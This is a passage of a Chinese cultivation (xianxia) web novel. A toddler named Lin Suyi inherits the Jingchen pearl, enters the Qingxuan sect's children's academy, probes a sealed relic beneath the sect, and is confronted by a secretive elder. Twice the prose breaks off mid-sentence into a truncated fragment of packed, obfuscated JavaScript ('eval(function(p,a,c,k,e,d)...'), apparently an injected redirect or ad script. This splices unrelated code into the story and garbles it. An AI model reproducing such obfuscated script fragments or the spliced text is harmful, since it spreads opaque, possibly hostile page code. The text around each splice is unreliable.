到傍晚时,她终于重新凝聚出微小的气旋,修为勉强恢复到炼气一层初阶。经脉损伤在井水精华的滋养下,也修复了三成。 第三日,清晨。 林素衣醒来时,感觉到一股不同寻常的波动。 不是来自外界,而是来自体内——先天之气在自动流转,速度比平时快了三倍。它像被什么东西牵引,隐隐指向古井方向。 灵珠在召唤。 她看向窗外,玄诚子已经站在院子里,负手望着古井方向,神色凝重。 “要来了。”他低声自语。 林素衣的心跳开始加快。今日就是三日之期的最后一天,母珠苏醒的时刻。会发生什么?灵珠的计划到底是什么? 整个上午,村子里异常安静。鸟雀不鸣,虫蚁蛰伏,连风都停了。空气中弥漫着无形的压力,凡人感受不到,但修士和灵觉敏锐的生灵都能察觉。 午时,古井水面开始波动。 不是之前那种翻滚冒泡,而是有规律的涟漪,一圈一圈从井心荡开,像是水底有颗巨大的心脏在跳动。 玄诚子眼睛微眯:“时辰到了。” 他抬手在院子周围布下一道结界,隔绝内外。林大山和王氏被他以“安神咒”暂时催眠,送回屋中沉睡。 现在,院子里只剩下他和林素衣。 “小友,你该去井边了。”玄诚子看向偏屋。 林素衣推门走出。她穿着王氏缝的小布褂,赤着脚,一步步走向古井。每走一步,体内的先天之气就活跃一分,仿佛在欢呼雀跃。 井边,水面已经升起三尺高的水柱。水柱顶端,隐约可见一颗蓝色珠子的虚影——那是灵珠投射出的影像。 玄诚子没有阻止,只是站在三丈外静静看着。他在等,等子母珠共鸣,等秘藏开启的契机。 林素衣走到井台边,小手扶住冰凉的青石。她低头看向井中,水面倒映出她稚嫩的脸,以及……另一张脸。 那是一张模糊的、由水流构成的女性面容,出现在水柱顶端的灵珠虚影中。面容安详闭目,像是沉睡了千年的神祇。 井中生灵?不,不一样。这面容更古老,更威严。 灵珠本体的器灵? 就在这时,三百里外,净尘古墟方向,突然冲起一道通天彻地的蓝色光柱! 光柱接天连地,即使相隔三百里也清晰可见。一股浩瀚、古老、纯净的水灵气息如潮水般扩散开来,瞬间席卷方圆千里! 玄诚子脸色大变:“母珠苏醒了!而且……这气息是……” 话音未落,古井中的灵珠虚影突然光芒大盛,与三百里外的蓝色光柱遥相呼应。两道光芒在空中交汇,形成一道横跨天际的光桥! 光桥之下,无数符文浮现、流转、重组。它们构成一幅复杂到极致的阵图,覆盖了整个天空。阵图缓缓旋转,中心处渐渐浮现出一座虚幻的宫殿影像——白玉为阶,碧水环绕,仙气缥缈。 “净尘宗……山门投影!”玄诚子呼吸急促,“传说是真的!三十六泉眼大阵全开时,能重现古宗山门!” 他死死盯着那投影,眼中满是贪婪与震撼。若能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玄诚子脸色铁青,一步跨出就要擒住林素衣。但就在他伸手的瞬间,天空中的山门投影突然射下一道白光,将他笼罩! “净尘宗……传承禁制!”玄诚子惊怒交加,发现自己动弹不得,只能眼睁睁看着林素衣被蓝光包裹,气息节节攀升。 当修为冲到炼气五层巅峰时,终于停了下来。 蓝光收敛,林素衣站在原地,外表看似无变化,但整个人气质已截然不同。她周身有淡淡的水汽萦绕,眼眸深处隐约有蓝色符文流转。 更重要的是,她丹田处,一颗米粒大小的蓝色珠子静静悬浮——净尘灵珠本体,已与她融为一体。 天空中的投影开始消散,光桥断裂,阵图隐去。 玄诚子身上的禁制也随之解除。他一步踏到林素衣面前,眼神复杂至极:“你……得到了净尘传承?” 林素衣看着他,缓缓点头。 玄诚子沉默良久,最终长叹一声:“天意……真是天意……” 他伸手,却不是抓她,而是轻轻按在她头顶:“既然如此,老夫便不强求了。净尘道统重现世间,也是修真界一大幸事。只是……” 他收回手,神色严肃:“净尘宗当年树敌不少,传承重现的消息一旦走漏,你必成众矢之的。从今日起,你需隐藏身份,绝不可在外人面前展露净尘功法。” 林素衣点头。这一点她也想到了。 “老夫会对外宣称,已收你为记名弟子,带回青玄门暗中培养。”玄诚子做出了决定,“如此一来,既能护你周全,也能掩人耳目。至于净尘道统……你可在宗门内暗中修习,待修为足够,再图重建。” 这是最好的安排。林素衣躬身一礼——这次是真心实意的感谢。 玄诚子摆摆手,望向已恢复平静的古井:“井中子珠已与你融合,此井将重归平凡。你父母那边,老夫会处理妥当。” 他顿了顿,又道:“三日后,老夫带你去青玄门。这三日,你好好巩固修为,与父母道别。” 林素衣再次点头。 玄诚子转身离去,背影竟有些萧索。谋划多日,最终机缘却落在一个孩童身上,任谁都会感慨。 林素衣独自站在井边,内视体内那颗静静悬浮的灵珠。灵珠中,井中生灵的意识还在沉眠,但气息已稳固许多。而灵珠本身,则源源不断地散发出精纯水灵气,滋养她的经脉丹田。 净尘真经的功法要诀,也已烙印在她脑海深处。 一切看似圆满。 但当她抬头望向三百里外——净尘古墟的方向时,心中却涌起强烈的不安。 母珠苏醒,古宗投影现世,如此大的动静,真能瞒过天下人吗? 而净尘宗千年之前,究竟为何而灭? 那些“敌人”,又还存于世间否? 风吹过,井水微澜。 远处山峦叠嶂,如蛰伏的巨兽。 林素衣握紧小手,掌心处,一个微小的蓝色符文悄然浮现,又悄然隐去。 三日后,青玄门。 新的征程,才刚刚开始。 11. 初入山门 三日时间,转瞬即逝。 第一日,林素衣用来巩固暴涨的修为。炼气五层巅峰的灵力在经脉中奔流,与灵珠散发的本源水灵气交融,形成淡蓝色的灵力流。她按照《净尘真经》的基础篇运转功法,灵力流转轨迹与之前自行摸索的野路子截然不同——更精妙,更高效,每一循环都能将灵气转化率提升至九成以上。 灵珠悬浮丹田,如一颗微缩的星辰。珠内空间,井中生灵的意识依旧沉眠,但形态已从一团混沌凝聚成模糊的人形轮廓,是个女童模样。林素衣以心神探入,能感觉到生灵的“呼吸”——它正缓慢吸收灵珠本源,进行深层次的蜕变。按照这个速度,至少需要三年才能苏醒。 第二日,她与父母道别。 王氏哭成了泪人,林大山也眼眶通红。他们不懂什么是仙缘,只知道女儿要被道长带走,去很远很远的地方,可能很多年都见不到一面。 “素衣还这么小……”王氏抱着女儿不肯撒手。 玄诚子温声解释:“夫人放心,贫道会待她如亲传。宗门内有专人照料孩童弟子,衣食住行皆无忧。待她年满十二,便可下山探亲。” 这话让林家人稍安。玄诚子又留下三瓶丹药和一卷强身健体的基础功法,说是给林家二老的“安家之礼”。丹药能延年益寿,功法练至小成可百病不侵。 林奶奶最是平静。老人将林素衣搂在怀里,粗糙的手掌轻拍她的背:“去吧,我孙女不是池中物,该去大地方。” 林素衣将脸埋在奶奶肩头,闻着老人身上淡淡的皂角味,心中酸楚。这一别,再见不知何时。修真无岁月,一次闭关可能就是凡人数年。她暗下决心,定要早日筑基,有了一定自保之力后,便将家人接至宗门附近安置。 第三日清晨,玄诚子祭出一艘巴掌大的青玉飞舟。飞舟迎风便长,化作三丈长短,舟身云纹流转,灵光隐现。 “走吧。”玄诚子率先踏上飞舟。 林素衣最后看了一眼林家院子,看了一眼扶着门框泪眼朦胧的父母,看了一眼拄着拐杖站在院中挥手告别的奶奶。她深吸一口气,转身,迈步登舟。 飞舟升空,地面的一切迅速变小。村庄化为棋盘上的格子,山峦如起伏的波浪。王氏的哭声被风声淹没,林大山的呼喊消散在云端。 林素衣站在舟头,衣袖被高空罡风吹得猎猎作响。她没哭,只是静静望着越来越远的故乡,将那一砖一瓦、一草一木刻入心底。 玄诚子看了她一眼,眼中闪过一丝赞许。这份定力,远超同龄孩童,甚至许多入门弟子都不如。 飞舟破云而行,速度极快。下方山河飞速后退,时而可见凡人城池如蚁穴,时而可见修真坊市灵光点点。玄诚子偶尔会指点几句,告诉她哪处是某某宗门属地,哪处有凶险禁地。 半日后,前方云雾突然散开,露出一片巍峨群山。 山势连绵不绝,主峰高耸入云,半山以上皆被皑皑白雪覆盖。山腰处云雾缭绕,隐约可见亭台楼阁、飞檐斗拱。更神奇的是,整片山脉都笼罩在一层淡淡的青色光晕中,那是护山大阵散发的灵光。 “到了。”玄诚子道,“此处便是青玄山脉,我青玄门立宗之地。” 飞舟下降,穿过青色光晕时,林素衣感到一股温和的探查力扫过全身——护山大阵在识别来者身份。玄诚子腰间玉牌亮起微光,阵法便放行了。 飞舟停在一处白玉广场上。广场极大,可容万人,地面铺着切割整齐的灵玉,阳光照耀下泛起温润光泽。广场四周立着十二根擎天玉柱,柱身雕刻着繁复的云纹和灵兽图案。 已有几人在等候。为首的是个中年道姑,着素白道袍,面容清冷。她身后跟着两个年轻女修,皆相貌不俗。 “玄诚师兄。”道姑稽首,“掌门已知你归来,命我在此接引。” 玄诚子还礼:“有劳清璇师妹。”他指了指林素衣,“此子林素衣,便是我传讯中所说之人。” 清璇道姑的目光落在林素衣身上。那目光平静却锐利,如冰锥刺入骨髓。林素衣立刻收敛所有气息,将净尘灵珠的波动压至最低,只展现出炼气三层的修为——这是她与玄诚子商量好的伪装。真实修为炼气五层太过惊人,容易引人怀疑。 “炼气三层?”清璇微微蹙眉,“骨龄……一岁九个月?” “正是。”玄诚子点头,“此子身怀先天之气,又得了一番机缘,故修为进境较快。” 清璇又看了片刻,才收回目光:“根基尚可,只是修为提升过快,恐有隐患。既是你带回,便按规矩办:先入‘测灵殿’测定灵根潜力,再安排去处。” “理当如此。”玄诚子道。 一行人走向广场东侧的大殿。殿宇巍峨,门楣上悬着“测灵殿”三个鎏金大字。殿内空旷,正中立着一块三人高的青灰色石碑,碑面光滑如镜。 “这是‘鉴灵碑’。”玄诚子对林素衣解释,“将手按在碑面,注入灵力即可。” 林素衣依言上前。小手按上冰凉的石碑,她小心控制着灵力输出,只调动最表层的水、土、木三系灵力,按特定比例注入。 碑面泛起微光,颜色开始变化。 先是淡蓝色光芒亮起,占据碑面约四成区域——水灵根,中等偏上。 接着是土黄色光芒,约三成区域——土灵根,中等。 最后是浅绿色光芒,约两成区域——木灵根,偏弱。 三色光芒交织,最终稳定下来。 “水土木三灵根,水灵根最佳,土次之,木最弱。”清璇道姑记录在玉简上,“综合评定……乙中。” 这个结果让玄诚子有些意外。他原以为林素衣身怀先天之气,灵根品质应该更高才对。但转念一想,净尘传承或许改变了什么,或者……她在故意隐藏。 林素衣心中却是明镜似的。净尘灵珠入体后,她的灵根确实发生了变化——水灵根被大幅强化,木灵根因温养灵珠而受损,土灵根基本不变。她刻意压制了水灵根的强度,否则至少是甲等。 “乙中资质,可入外门。”清璇道姑公事公办,“按规矩,新入门外门弟子需先在‘育道院’修习三年,学习修真基础、宗门戒律、辨识灵物等。三年后通过考核,方可正式拜师,入各峰修行。” 玄诚子点头:“便如此安排。只是此子年幼,需有人专门照料。” “育道院有专职嬷嬷照看幼龄弟子。”清璇道,“师兄不必担心。” 事情就这么定下了。玄诚子将林素衣交给清璇,自己则去面见掌门复命。临走前,他传音给林素衣:“好生修炼,莫要显露净尘传承。三年后,我自会收你为记名弟子。” 林素衣微微颔首。 清璇道姑带着她离开测灵殿,乘上一片白云状的飞行法器,往山脉深处飞去。约莫一刻钟后,降落在一处山谷中。 谷内建筑林立,皆是青瓦白墙,风格简洁。中央有片大操场,数十个孩童正在练习基础拳法,大的十来岁,小的五六岁,皆穿着统一的浅青色道袍。 这里就是育道院。 清璇将她交给一位姓周的嬷嬷。周嬷嬷五十来岁,面容和善,修为只有炼气六层,但照看孩子很有一手。 “这么小的娃娃?”周嬷嬷惊讶,“院里最小的也有四岁了。” “特殊安排。”清璇淡淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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净尘真经的功法在体内运转,灵珠散发出的本源水灵气被高效转化。她能感觉到,在这青玄山脉中,天地灵气浓度比外界高了至少五倍,修炼速度也随之提升。 但就在她沉浸修炼时,异变突生。 丹田内的灵珠,突然轻轻一震。 紧接着,一道极其微弱的意念传入脑海,不是井中生灵,而是灵珠本身的“器灵”在苏醒! “此地……有净尘旧物……”断断续续的信息,“西南……三十里……地下……同源气息……” 林素衣猛然睁眼。 西南三十里?那不正是青玄门主峰的方向吗? 净尘宗的遗物,怎么会出现在青玄门地底? 灵珠的意念又传来警告:“莫要靠近……有封印……危险……但也可能是……机缘……” 然后便沉寂下去。 林素衣心神震动,再也无法入定。 她推开窗,望向西南方的主峰。夜色中,那座巍峨山峰如一头沉睡的巨兽,山体深处,似乎有什么东西正在呼唤着她体内的灵珠。 是同源的吸引,还是致命的陷阱? 她不知道。 但有一点可以肯定:青玄门,这个她未来要生活很久的地方,隐藏的秘密比她想象的更多。 窗外月光如水。 竹林深处,似乎有一双眼睛,正静静注视着这间小屋。 那目光冰冷、审视,带着某种难以言说的意味。 林素衣感到脊背发凉,猛地回头—— 竹林空空,只有风过叶响。 12. 育道初窥 竹林中的窥视感只持续了一瞬,便消失无踪。 林素衣站在窗前,感知全力展开,扫过整片竹林。没有异常气息,没有灵力波动,仿佛刚才的一切只是错觉。但她确信那不是错觉——修行者的灵觉不会无缘无故示警。 “是谁?”她心中警惕。青玄门内卧虎藏龙,能避开她感知的至少是筑基期以上修士。是偶然路过的宗门长辈,还是……特意来观察她的? 这个问题暂时无解。她关好窗,回到床上,却再也无法全心修炼。灵珠的感应、神秘的窥视,都让她意识到这看似平静的育道院,暗处可能藏着不为人知的秘密。 翌日清晨,钟声回荡山谷。 周嬷嬷来叫早,四个女孩起床梳洗。育道院的道袍是统一制式,浅青色,袖口绣着青玄门的云纹标志。林素衣个子太小,最小号的道袍穿在身上也像套了个麻袋,周嬷嬷只好临时用针线给她改小。 早膳后,所有育道院弟子在操场集合。 操场上已站了百余名孩童,按年龄分列。林素衣被分到“幼龄组”,这组共十二人,都是八岁以下的孩子。带教的是位姓赵的师兄,炼气八层修为,二十来岁,看起来颇为和气。 “从今日起,由我负责传授你们修真基础知识。”赵师兄朗声道,“每日上午授课,下午修炼,晚间自习。每月初一、十五考核,连续三次不合格者,降为杂役弟子。” 孩子们顿时紧张起来。 第一堂课是《修真起源》。赵师兄从开天辟地讲起,说到先天神魔、洪荒大战,再到人族崛起、修真文明建立。这些内容林素衣前世在小说里看过类似设定,但听正统修士讲解,又多了许多细节。 原来此界名为“玄灵界”,修真历史可追溯至十万年前。人族修真者最初是模仿妖族、魔族修炼法门,后经无数先贤改良,逐渐形成如今的体系。修真境界分为:炼气、筑基、金丹、元婴、化神、炼虚、合体、大乘、渡劫九大境界,每个境界又分初、中、后、巅峰四期。 “炼气期是筑基之始,分九层。一到三层为初期,四到六层为中期,七到九层为后期,九层圆满可尝试筑基。”赵师兄讲解,“你们现在要做的,就是打好基础,争取早日突破炼气四层,进入中期。” 有孩子举手问:“赵师兄,炼气期要练多久?” “资质不同,时间各异。”赵师兄道,“单灵根者,快则三五年便可炼气圆满;五灵根者,可能二三十年还在炼气初期徘徊。你们大多是三灵根、四灵根,正常速度是十年左右炼气圆满。” 孩子们发出惊叹声。十年,对孩童来说简直是一辈子那么长。 林素衣默默听着,心中计算。她有净尘灵珠辅助,又身怀先天之气,修炼速度远超常人。若全力修行,恐怕一两年就能炼气圆满。但这太惊世骇俗,必须压制进度。 上午的课结束后,下午是修炼时间。 幼龄组的修炼场是片草坪,赵师兄传授最基础的《青玄炼气诀》。这是青玄门的基础功法,中正平和,适合所有灵根属性,但效率不高。 林素衣盘坐在草地上,装模作样地运转青玄炼气诀,实则暗中运转净尘真经。两套功法并行不悖,净尘真经汲取天地灵气转化为精纯水灵力,青玄炼气诀则将这些灵力“稀释”成普通的无属性灵力,掩盖异常。 修炼一个时辰后,赵师兄挨个检查进度。 “苏晴,灵气运行顺畅,继续努力。” “李月,你木灵根突出,可尝试多吸收晨曦紫气。” 轮到林素衣时,赵师兄将手搭在她腕脉上,灵力探入。林素衣立刻收敛净尘真经,只展示青玄炼气诀的运转痕迹。 “嗯?”赵师兄眉头微皱,“你的灵力……很凝实,不像刚入门的样子。” 林素衣眨眨眼,用童音回答:“在家里时,道长教过我一点。” 她说的是玄诚子。赵师兄恍然:“原来是玄诚师叔祖点拨过,难怪。”他收回手,“继续巩固,莫要贪快。” 第一天的修炼就这样平淡结束。 晚膳时,林素衣从室友们的闲聊中,了解到更多育道院的情况。 育道院分三届:幼龄届(八岁以下)、少龄届(八到十二岁)、大龄届(十二到十五岁)。每年会有一次“升院考核”,通过者可升入下一届。十五岁前若不能通过“外门大考”,就会被淘汰,要么成为杂役弟子,要么遣返世俗。 “听说外门大考可难了。”苏晴叹气,“要实战,要炼丹,要辨识灵草……咱们得学好多东西。” 李月淡淡道:“学便是了。总比回凡间强。” 小豆芽小声问:“杂役弟子……是不是就要扫地做饭?” “差不多吧。”苏晴摸摸她的头,“所以咱们要努力呀。” 林素衣安静听着,心中却想:杂役弟子未必没有机缘。修真界历史上,不少大能都是从杂役起步。但若能直接入内门,自然更好。 夜间,等三个室友睡熟后,林素衣开始暗中探查。 她将一丝意念沉入灵珠,尝试与器灵沟通:“白天的感应,能更具体些吗?” 灵珠沉寂片刻,传回模糊的信息:“同源之物……在地下深处……有封印隔绝……需靠近才能确认……” “西南三十里,具体位置?” “无法确定……但有阵法波动……青玄门的护山大阵……掩盖了气息……” 林素衣皱眉。护山大阵覆盖整个青玄山脉,若要探查地底,必须避开阵法监控。以她现在的修为和权限,根本做不到。 只能暂时搁置。 接下来的日子,林素衣过着规律的育道院生活。 上午学习修真常识:灵草辨识、矿物图谱、基础阵法符文、丹药分类、妖兽习性……这些知识对她来说不算难,前世的地质学背景让她对矿物、地理有天然优势,而阵法符文更是她的专长。 下午修炼,她继续伪装进度,将真实修为隐藏在炼气三层。实际上,在净尘灵珠的辅助下,她的灵力每天都在稳步增长,对水属性的掌控也越来越精纯。 第七日,发生了一件小事。 下午修炼时,幼龄组来了位不速之客——个八岁左右的男孩,穿的不是育道院道袍,而是绣着金边的白色锦衣。他身后跟着两个跟班,也是锦衣华服。 “哟,这就是新来的小不点?”男孩走到林素衣面前,居高临下地打量她,“听说你才一岁多就炼气三层了?吹牛吧?” 林素衣抬头看他。男孩长得不错,但眉眼间带着骄纵之气。修为……炼气四层,在这个年龄算中上。 赵师兄忙上前:“陆明师弟,你怎么来了?” 被称为陆明的男孩瞥了赵师兄一眼:“我来看看我爹说的‘天才’长什么样。”他爹显然是宗门内的实权人物。 赵师兄赔笑:“林师妹确实资质不错,但还小,需要时间成长。” “资质不错?”陆明嗤笑,“三灵根乙中,也好意思说资质不错?我五岁就炼气四层了!” 周围的孩子们都低下头,不敢说话。显然这陆明是育道院一霸。 林素衣不想惹事,低头继续修炼。 陆明却觉得被无视了,伸手去拍她的头:“喂,跟你说话呢!” 就在他的手即将碰到林素衣的瞬间,林素衣体内灵珠自发运转,一层极淡的水汽在她周身浮现。陆明的手触到水汽,像碰到滑溜溜的冰块,一下子滑开了。 “咦?”陆明愣住。 林素衣也吃了一惊。这是净尘真经的护体灵光,她并未主动激发,是灵珠感应到威胁自动护主。幸好灵光微弱,看起来像是普通的灵力外放。 “有点意思。”陆明反而来了兴趣,“再来!” 他这次运起灵力,手掌泛起土黄色光芒——土灵根,难怪这么嚣张。土克水,他以为能轻易破开林素衣的防御。 林素衣心中微沉。若真让他击中,灵珠可能被迫反击,那就暴露了。必须想办法化解。 就在陆明手掌拍下的瞬间,她突然抬头,眼睛直直看向陆明身后,露出惊恐的表情:“长老!” 陆明下意识回头。 就在这一刹那,林素衣体内灵力微调,将护体水汽的性质从“防御”转为“润滑”。陆明回头没看到人,知道上当,怒气冲冲转回来,手掌继续拍下—— 却因为转身的惯性,加上水汽的润滑,整个人往前一滑,“噗通”摔了个狗啃泥。 “噗——”有孩子忍不住笑出声。 陆明狼狈爬起,脸涨得通红:“你、你使诈!” 林素衣一脸无辜:“我怎么了?” “你……”陆明想指责,却说不出口。难道说自己被一个一岁孩子骗了?那更丢人。 赵师兄赶紧打圆场:“陆师弟,修炼要紧,莫要耽误功课。” 陆明狠狠瞪了林素衣一眼,甩袖离去。两个跟班连忙跟上。 这件事很快传开。一个一岁幼童让八岁的陆明吃了瘪,成了育道院的笑谈。陆明好几天没来幼龄组,据说是在闭关,发誓要突破炼气五层再来找场子。 林素衣没放在心上。这种孩子气的争斗,她前世见多了。倒是这次意外,让她意识到灵珠的自主性——它会自发护主,这意味着在某些危急时刻,她可能无法完全控制灵珠的反应。 必须加强掌控。 当晚,她尝试与灵珠深度沟通。意识沉入丹田,触及那颗蓝色珠子。这一次,她不再是简单询问, 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灵珠传来新的信息:青玄门内,可能有水属性宝物,能加速解封。尤其是……地底那件同源之物。 又绕回来了。 林素衣叹气。看来探查地底遗物,不仅是满足好奇心,也关系到灵珠的恢复。但如何探查? 她想起白天陆明的事。那孩子提到“我爹”——显然是个宗门二代。这类人通常知道一些内幕消息,或许…… 一个计划在脑海中成形。 三日后,幼龄组学习基础阵法课。授课的是位女师叔,讲解最简单的“聚灵阵”布置。 林素衣举手提问:“师叔,聚灵阵能聚拢地下的灵气吗?” 女师叔点头:“当然可以。高级聚灵阵甚至能引动地脉灵气。” “那……如果地下有东西阻隔呢?”林素衣装作好奇,“比如封印什么的?” 女师叔看了她一眼:“你倒是问到了点子上。若地下有封印,聚灵阵的灵气流动就会受阻,出现异常节点。阵法师常以此法探查地下状况。” 林素衣眼睛一亮。 课后,她开始暗中准备。育道院的藏书阁有基础阵法书籍,她借了几本,晚上研读。以她前世的知识储备和灵珠传承的阵法造诣,理解这些基础内容轻而易举。 她要布置一个微型的、隐形的聚灵阵,用来探查地底。 材料是个问题。育道院不提供布阵材料,弟子需自己赚取贡献点兑换。林素衣没有贡献点,但她有别的办法——灵珠能凝聚“水灵精粹”,这是炼制水属性丹药的上好材料。 她花了三个晚上,凝聚出三滴米粒大小的水灵精粹,用玉瓶装好。然后找到育道院负责物资兑换的师兄,用一滴精粹换来了十块下品灵石和几样基础布阵材料。 材料到手后,她开始计算阵图。 目标:西南三十里,主峰方向。范围不能太大,否则会被护山大阵察觉。阵眼设在自己屋内,通过地脉灵气波动间接探查。 这是个精细活。林素衣每晚等室友睡熟后,在床下刻画阵纹。阵纹必须极淡,淡到几乎无法察觉。她用手指蘸取稀释的灵墨,一点点勾勒。 第七晚,阵法完成。 子时,她激活阵法。 微弱的灵气从阵眼中流出,渗入地下,如触须般向西南方向蔓延。一里、两里、五里……灵气触须在护山大阵的缝隙中穿行,小心翼翼。 十里、十五里、二十里…… 当触须延伸至二十五里时,突然遇到了阻碍。 不是封印,而是一层无形的屏障,将灵气触须完全隔绝。林素衣试图绕过,却发现屏障是球形的,完全包裹住那片区域。 更奇怪的是,屏障的性质……她竟然有些熟悉。 是净尘宗的手法! 虽然经过了某种改良和伪装,但核心符文结构与灵珠传承中的净尘阵法一脉相承。 青玄门地底,真的有净尘宗遗物,而且被青玄门用净尘宗的手法封印着。 这意味着什么? 青玄门与净尘宗,到底是什么关系? 千年前净尘宗覆灭,青玄门在其中扮演了什么角色? 林素衣感到一股寒意从脊背升起。 如果青玄门是净尘宗的敌人,那她身怀净尘传承,岂不是羊入虎口? 她立刻切断灵气触须,毁掉床下的阵纹。 但已经晚了。 几乎在她切断触须的同时,那股熟悉的、冰冷的窥视感再次出现。 这一次,不是在竹林外。 而是在她窗外,不到三尺的距离。 有人,一直知道她在做什么。 13. 夜访者 窗外一片漆黑。 竹林在夜风中摇曳,沙沙声如潮水起伏。月光被云层遮蔽,只透下几缕惨淡的光,勉强勾勒出窗棂的轮廓。 林素衣坐在床边,一动不动。 那股窥视感如此真切,如芒在背。她能感觉到,窗外三尺处,有个人站在那里,隔着薄薄的窗纸,静静注视着她。 不是幻觉。不是错觉。 对方甚至没有刻意隐藏气息——或者说,隐藏了,但她体内的净尘灵珠对同源之力有特殊感应,就像磁石遇到铁。 时间仿佛凝固。 一息、两息、十息…… 窗外的人没有动,林素衣也没有动。她在权衡:开口询问?假装不知?还是……先发制人? 但先发制人需要实力。她现在是“炼气三层”的幼童,而对方能在她毫无察觉的情况下来到窗外,修为至少筑基以上。硬碰硬是找死。 就在她决定继续装傻时,窗外传来一声极轻的叹息。 “净尘传承者……果然是你。” 是个女子的声音,清冷如冰泉,却又带着某种难以言说的疲惫。 林素衣心脏骤缩。对方不仅知道她的存在,还知道净尘传承!这比预想的更糟。 “前辈是?”她终于开口,声音保持着孩童的稚嫩,但语气已不再伪装。 “开窗吧,我有话要说。”女子道,“放心,若我想对你不利,不会等到现在。” 林素衣犹豫片刻,还是起身推开了窗。 月光从云隙漏下,照亮了窗外的人。 那是个看起来三十来岁的女修,着青玄门内门长老的月白道袍,长发用一根简单的木簪绾起。她容貌清丽,但眉眼间笼罩着一层化不开的郁色,像是承载了太多心事。最引人注目的是她的眼睛——左眼是正常的黑色,右眼却泛着极淡的蓝色,瞳孔深处隐约有符文流转。 那只蓝眼,让林素衣体内的灵珠轻轻一震。 是同源的气息! “你……”林素衣怔住。 女修微微抬手,一道隔音结界无声展开,将小屋与外界完全隔绝。做完这些,她才缓缓开口:“我叫云华,青玄门净尘峰长老——虽然那座峰,如今已改名‘清源峰’。” 净尘峰?林素衣想起灵珠感应的方向,正是青玄门西南方位。 “前辈也是净尘传人?”她试探着问。 云华摇头,又点头:“是,也不是。”她顿了顿,似乎在斟酌措辞,“我师父,是净尘宗最后的传人。千年前净尘宗遭劫时,她重伤逃至此地,被当时的青玄门掌门所救。为报恩,也为了隐藏身份,她拜入青玄门,暗中寻找重建净尘宗的契机。” “但她失败了?”林素衣问。 “失败了。”云华眼中闪过一丝痛楚,“师父临终前将净尘核心传承封印于地底,只留下一枚‘净尘之眼’传给我。”她指了指自己的右眼,“这只眼,能感应净尘之力,也能看破虚妄。所以那夜你在井边得传承时,我就感应到了。” 林素衣恍然。难怪对方能找到她,难怪知道净尘传承。 “前辈既然早已知晓,为何现在才现身?”她问。 “因为我在观察。”云华直视她的眼睛,“看你是否值得托付,看你能否守住秘密,看你的心性、资质、机缘。净尘传承太重要,不能交给一个莽撞或短视之人。” “那前辈观察的结果是?” “尚可。”云华淡淡道,“你懂得隐藏,懂得隐忍,知道在实力不足时蛰伏。但还不够——你今夜布阵探查地底,太过冒险。若非我提前在育道院周围布下遮掩结界,你的阵法波动早被护山大阵捕捉,届时宗门执法堂必来查问。” 林素衣心中一凛。原来她自以为隐秘的行动,早就在别人监视之下。 “前辈教训的是。”她低头认错。 云华神色稍缓:“你还年幼,有此失误也属正常。重要的是今后。”她顿了顿,“你可知青玄门与净尘宗的真正关系?” 林素衣摇头。 “千年前净尘宗覆灭,表面上是仇家联手围攻,实则另有隐情。”云华声音转冷,“我师父调查多年,发现当年围攻净尘宗的势力中,有青玄门的身影。” 什么?林素衣瞳孔微缩。 “但并非整个青玄门。”云华补充道,“是当时的宗门大长老一脉,他们觊觎净尘宗的‘三十六泉眼大阵’,想据为己有。那场大战后,大长老一脉确实从净尘宗废墟中带回了部分阵法核心,封印于地底,就是你感应到的东西。” “那现在的掌门和长老们……” “大部分不知情。”云华道,“千年时光,知情者早已陨落或飞升。如今整个青玄门,知道地底秘密的,不超过五人。而知道净尘传承尚存的,只有我一个。” 林素衣消化着这些信息,又问:“前辈告诉我这些,是想让我做什么?” 云华沉默片刻,缓缓道:“我要你,在地底遗物上做手脚。” “什么?” “地底封印的净尘阵法核心,虽然被青玄门所得,但他们无法完全掌控。千年间,宗门数次尝试炼化,皆以失败告终。如今他们打算请一位阵法宗师前来,强行破解封印,取出核心。”云华眼中寒光一闪,“一旦成功,净尘宗最后的核心传承将彻底落入他人之手。我必须阻止。” “如何阻止?” “你身怀净尘灵珠,是唯一能与地底核心产生共鸣之人。”云华道,“我需要你潜入地底,在核心上留下一个‘印记’。这印记不会破坏核心,但会让任何试图炼化它的人遭到反噬,从而放弃。” 林素衣皱眉:“潜入地底?以我现在的修为和身份,怎么可能做到?” “我会安排。”云华道,“三日后,宗门将举行‘开山大典’,招收新弟子。届时所有长老、弟子都要前往主峰观礼,地底封印的看守也会减弱。我会制造一个机会,让你短暂进入地底。” “太冒险了。”林素衣摇头,“万一被发现……” “这是唯一的机会。”云华打断她,“那位阵法宗师半月后就会到来。若不在那之前留下印记,一切就晚了。”她看着林素衣,“当然,你可以拒绝。但你要知道,若地底核心被他人炼化,你体内的灵珠也会受到影响——子母珠本是一体,母珠若被强行控制,子珠也会逐渐失去灵性。” 这是威胁,也是事实。 林素衣陷入沉默。她内视丹田,灵珠静静悬浮,散发着温润的蓝光。这珠子不仅是她的修炼助力,更承载着井中生灵的未来。若灵珠失活,生灵可能永远无法重生。 “我需要时间考虑。”她最终说。 “你有一晚时间。”云华道,“明日此时,我再来。若你答应,我会给你详细计划;若你拒绝……”她顿了顿,“我不会强迫你,但从今往后,你我便是陌路。你的净尘传承,也请好自为之。” 说完,她撤去隔音结界,身形如烟消散在夜色中。 窗重新关上。 林素衣坐在黑暗里,心绪纷乱。 云华的话有几分真?几分假?她说自己是净尘传人的弟子,有净尘之眼为证,这应该不假。但她真的只是为了保护净尘传承吗?还是有别的目的? 而潜入地底……风险太大了。一旦暴露,别说净尘传承,她的小命都难保。青玄门对待“叛徒”绝不会手软。 可不答应呢?云华说得对,若地底核心被他人炼化,她的灵珠确实可能受影响。而且……她真的能眼睁睁看着净尘宗最后的核心传承落入他人之手吗? 这个宗门,曾是她前世的梦想寄托——在胎中觉醒时,她就知道将来要入青玄门。可如今才发现,这个宗门与她的传承竟有如此复杂的纠葛。 